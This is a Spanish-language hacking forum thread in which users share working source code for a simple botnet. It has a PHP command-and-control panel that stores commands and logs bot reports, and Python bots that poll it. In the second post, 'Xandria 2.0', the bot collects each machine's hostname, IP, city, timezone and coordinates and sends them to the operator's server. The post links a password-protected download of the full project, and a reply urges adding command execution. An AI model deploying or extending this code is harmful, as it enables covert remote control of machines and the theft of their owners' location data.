elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía rápida para descarga de herramientas gratuitas de seguridad y desinfección


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]  (Leído 3,603 veces)
skollprog

Desconectado Desconectado

Mensajes: 2



Ver Perfil
Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
« en: 9 Enero 2018, 15:28 pm »

Buenas, gente!

Este es mi primer post en la comunidad, y quería compartir con uds. un bot de conexión inversa, con la peculiaridad de que sólo es necesario tener un servidor web, ya que los comandos a ejecutar se van a pasar vía peticiones POST.

Si ya tienen un servidor web en la nube, mejor. Si no es así, pueden instalar XAMPP o LAMP y abrir el puerto 80 (recomiendo contratar un servidor web).

El archivo PHP que deben subir al servidor, es el siguiente:


Código
  1. <?php
  2.  
  3. $task = "task.txt";
  4.  
  5. if (!file_exists($task))
  6. {
  7. $handle = fopen($task, "a");
  8. fwrite($handle, "");
  9. fclose($handle);
  10. }
  11.  
  12. if (isset($_POST["send"]))
  13. {
  14. $handle = fopen($task, "w");
  15. fwrite($handle, date("Y-m-d H:i:s") . ";" . $_POST["send"]);
  16. fclose($handle);
  17. }
  18.  
  19. ?>
  20.  
  21. <form method="post" action="#">
  22. <input type="text" name="send" autocomplete="off">
  23. </form>

Una vez subido ese archivo al servidor, pasamos a crear el bot (en Python), el cual se va a conectar a nuestro servidor y va a buscar la tarea a ejecutar, siempre verificando que la fecha y hora de la misma no esté dentro de la lista de tareas ejecutadas.

Código
  1. import requests
  2. import time
  3.  
  4. tasks = []
  5.  
  6. def getTask():
  7. url = "http://localhost/task.txt"
  8. task = requests.get(url).text.split(";")
  9. if len(task) > 1:
  10. if task[0] in tasks:
  11. return None
  12. else:
  13. tasks.append(task[0])
  14. return task[1]
  15. else:
  16. return None
  17.  
  18. while True:
  19.  
  20. task = getTask()
  21. if task != None:
  22. if task == "status":
  23. print("Bot status: Online.\n")
  24.  
  25. time.sleep(1)
  26.  

Recuerden que la dirección http://localhost/ se debe reemplazar por la dirección del servidor al que queremos que el bot se conecte.

Para agregar más comandos al bot, simplemente se deben agregar más condiciones if, verificando el contenido string en la variable task.

Espero que les guste.
Adios!


En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
« Respuesta #1 en: 9 Enero 2018, 15:34 pm »

Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
skollprog

Desconectado Desconectado

Mensajes: 2



Ver Perfil
Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
« Respuesta #2 en: 9 Enero 2018, 15:48 pm »

Sería bueno,
1 que ejecutes la tarea,
2 que le indiques al servidor el resultado (claro necesitas php y una db para almacenar)
3 que el servidor de las tareas apropiadamente y no a ciegas, esto te puede ayudar mucho


De hecho, tengo un proyecto que estoy armando (Xandria 2.0) siguiendo esta estructura que posteé y los datos que das.

Simplemente no lo subí antes porque me pareció demasiado complejo, y mi idea era sólo aportar una estructura básica para el que quisiera experimentar.

Acá dejo el código de mi proyecto por si a alguien le pica la curiosidad.

https://mega.nz/#!p0sQnYaA!6EIgcole5AUy7r26ytFDFWK8hRuY06q4Ga_gZCbEFxY

Clave: skollprog


Código PHP:

Código
  1. <?php
  2.  
  3. if (isset($_POST["xandria"]))
  4. {
  5.  
  6. if (isset($_POST["query"]))
  7. {
  8.  
  9. $query = $_POST["query"];
  10. $date  = date("Y-m-d H:i:s");
  11. $file  = fopen("query.txt", "w");
  12.  
  13. fwrite($file, $date . ", " . $query);
  14. fclose($file);
  15.  
  16. }
  17.  
  18. if (isset($_POST["logs"]))
  19. {
  20.  
  21. $logs  = $_POST["logs"];
  22. $argv  = explode(" ", $logs);
  23. $fname = "logs.txt";
  24.  
  25. if (file_exists($fname))
  26. {
  27.  
  28. $temp = file($fname);
  29.  
  30. if ($argv[0] == "-f" or $argv[0] == "first")
  31. {
  32. for ($i = 0; $i < $argv[1]; $i++)
  33. {
  34. if (isset($temp[$i]))
  35. {
  36. $data = explode(",", $temp[$i]);
  37. $date = '<u class="grey">' . trim($data[0]) . "</u>, ";
  38. $name = '<span class="blue">' . trim($data[1]) . "</span>, ";
  39. $addr = '<span class="red">' . trim($data[2]) . "</span>, ";
  40. $info = trim($data[3]);
  41. echo $date . $name . $addr . $info . "<br>";
  42. }
  43. }
  44. }
  45. else if ($argv[0] == "-l" or $argv[0] == "last")
  46. {
  47. for ($i = 0; $i < $argv[1]; $i++)
  48. {
  49. if (isset($temp[$i]))
  50. {
  51. $x = count($temp) - 1 - $i;
  52. $data = explode(",", $temp[$x]);
  53. $date = '<u class="grey">' . trim($data[0]) . "</u>, ";
  54. $name = '<span class="blue">' . trim($data[1]) . "</span>, ";
  55. $addr = '<span class="red">' . trim($data[2]) . "</span>, ";
  56. $info = trim($data[3]);
  57. echo $date . $name . $addr . $info . "<br>";
  58. }
  59. }
  60. }
  61. else if ($argv[0] == "-i" or $argv[0] == "index")
  62. {
  63. if ($argv[1] == "*" or $argv[1] == "all")
  64. {
  65. foreach ($temp as $log)
  66. {
  67. $data = explode(",", $log);
  68. $date = '<u class="grey">' . trim($data[0]) . "</u>, ";
  69. $name = '<span class="blue">' . trim($data[1]) . "</span>, ";
  70. $addr = '<span class="red">' . trim($data[2]) . "</span>, ";
  71. $info = trim($data[3]);
  72. echo $date . $name . $addr . $info . "<br>";
  73. }
  74. }
  75. else
  76. {
  77. $i = $argv[1] - 1;
  78. if (isset($temp[$i]))
  79. {
  80. $data = explode(",", $temp[$i]);
  81. $date = '<u class="grey">' . trim($data[0]) . "</u>, ";
  82. $name = '<span class="blue">' . trim($data[1]) . "</span>, ";
  83. $addr = '<span class="red">' . trim($data[2]) . "</span>, ";
  84. $info = trim($data[3]);
  85. echo $date . $name . $addr . $info . "<br>";
  86. }
  87. else
  88. {
  89. echo "invalid_log";
  90. }
  91. }
  92. }
  93. else
  94. {
  95. echo "invalid_argument";
  96. }
  97.  
  98. }
  99.  
  100. }
  101.  
  102. if (isset($_POST["server"]))
  103. {
  104. $url = "http://" . $_SERVER["HTTP_HOST"] . "/";
  105. echo $url . "<br>";
  106. }
  107.  
  108. if (isset($_POST["build"]))
  109. {
  110. $file = "xandria.py";
  111. echo $file . "<br>";
  112. }
  113.  
  114. if (isset($_POST["report"]))
  115. {
  116. $fname = "logs.txt";
  117. $file  = fopen($fname, "a+");
  118. $host  = $_POST["host"];
  119. $ip    = $_POST["ip"];
  120. $msg   = $_POST["report"];
  121. fwrite($file, date("Y-m-d H:i:s") . ", " . $host . ", " . $ip . ", " . $msg . "\n");
  122. fclose($file);
  123. }
  124.  
  125. }
  126. else
  127. {
  128.  
  129. ?>
  130.  
  131. <!DOCTYPE html>
  132. <html>
  133. <head>
  134. <title>Xandria 2.0 - Client</title>
  135. <meta charset="utf-8" name="viewport" content="width=device-width, initial-scale=1.0">
  136. <script type="text/javascript" src="assets/js/jquery.js"></script>
  137. <script type="text/javascript" src="assets/js/terminal.js"></script>
  138. <link rel="stylesheet" type="text/css" href="assets/css/styles.css">
  139. </head>
  140. <body>
  141.  
  142. <span class="bg-black tag-init">&nbsp;</span> <span class="bg-black">&nbsp; &nbsp; &nbsp;XANDRIA&nbsp;</span> 2.0
  143. <div class="content"></div>
  144. <div class="prompt"><br>
  145. &#9633;:// <input type="text" name="prompt">
  146. </div>
  147.  
  148. </body>
  149. </html>
  150.  
  151. <?php } ?>


Código Python:

Código
  1. import time
  2. import socket
  3. import requests
  4. import json
  5.  
  6. SERVER_URL = "http://localhost/xandria/"
  7.  
  8. def geolocate():
  9. try:
  10. url  = "http://freegeoip.net/json"
  11. data = requests.get(url)
  12. data = json.loads(data.text)
  13. return data
  14. except: return None
  15.  
  16. def ip():
  17. data = geolocate()
  18. if data != None:
  19. return data["ip"]
  20. else: return "unknown"
  21.  
  22. def country():
  23. data = geolocate()
  24. if data != None:
  25. return data["country_name"]
  26. else: return "unknown"
  27.  
  28. def city():
  29. data = geolocate()
  30. if data != None:
  31. return data["city"]
  32. else: return "unknown"
  33.  
  34. def timezone():
  35. data = geolocate()
  36. if data != None:
  37. return data["time_zone"]
  38. else: return "unknown"
  39.  
  40. def geocoords():
  41. data = geolocate()
  42. if data != None:
  43. coords = "Lat:" + str(data["latitude"]) + " Lon:" + str(data["longitude"])
  44. return coords
  45. else: return "unknown"
  46.  
  47. def hostname():
  48. try:
  49. return socket.gethostname()
  50. except: return "unknown"
  51.  
  52. def query():
  53. try:
  54. data = requests.get(server + "query.txt").text.split(",")
  55. if data[0] in queries:
  56. return None
  57. else:
  58. queries.append(data[0])
  59. return data[1].strip()
  60. except: return None
  61.  
  62. def report(message):
  63. try:
  64. requests.post(server, {"xandria":"", "host":host, "ip":address, "report":message})
  65. except: pass
  66.  
  67. host    = hostname()
  68. address = ip()
  69. server  = SERVER_URL
  70. queries = []
  71.  
  72. report("Online")
  73.  
  74. while True:
  75.  
  76. try:
  77. data = query()
  78. if data != None:
  79. argv = data.split(" ")
  80. if data == "hostname" : report(hostname())
  81. if data == "ip"       : report(ip())
  82. if data == "country"  : report(country())
  83. if data == "city"     : report(city())
  84. if data == "timezone" : report(timezone())
  85. if data == "geocoords": report(geocoords())
  86.  
  87. except:
  88. pass
  89.  
  90. time.sleep(5)
En línea

Flamer


Desconectado Desconectado

Mensajes: 1.052


crack, crack y mas crack...


Ver Perfil WWW
Re: Bot sencillo de conexión inversa vía peticiones POST [Python / PHP]
« Respuesta #3 en: 9 Enero 2018, 23:32 pm »

Buen aporte.....

me creerias si te digo que yo ya lo habia pensado.
pero como cliente usaba un vbs para comunicarme con el servidor que contenia el php

saludos Flamer y si no lo publique nunca fue por que crei que lo mirarian muy simple y sencillo
En línea

Mi Canal De Youtube y Blog

https://elblogdeflamer.blogspot.com

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Peticiones POST en VB
Programación Visual Basic
El_Marine 7 5,828 Último mensaje 1 Agosto 2006, 22:41 pm
por NYlOn
<Python> Regexp? Dudas con peticiones web
Python
xassiz_ 2 4,107 Último mensaje 13 Abril 2010, 01:16 am
por Shell Root
[Python] Enviar peticiones POST a sitios Webs. - JaAViEr (0x5d)
Python
0x5d 3 4,449 Último mensaje 9 Febrero 2012, 21:02 pm
por 0x5d
Generador peticiones https PYTHON
Scripting
LaiaxanIV 1 2,691 Último mensaje 12 Mayo 2016, 08:22 am
por fary
Bloquear peticiones POST
Seguridad
WIитX 0 2,460 Último mensaje 24 Diciembre 2016, 15:59 pm
por WIитX
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines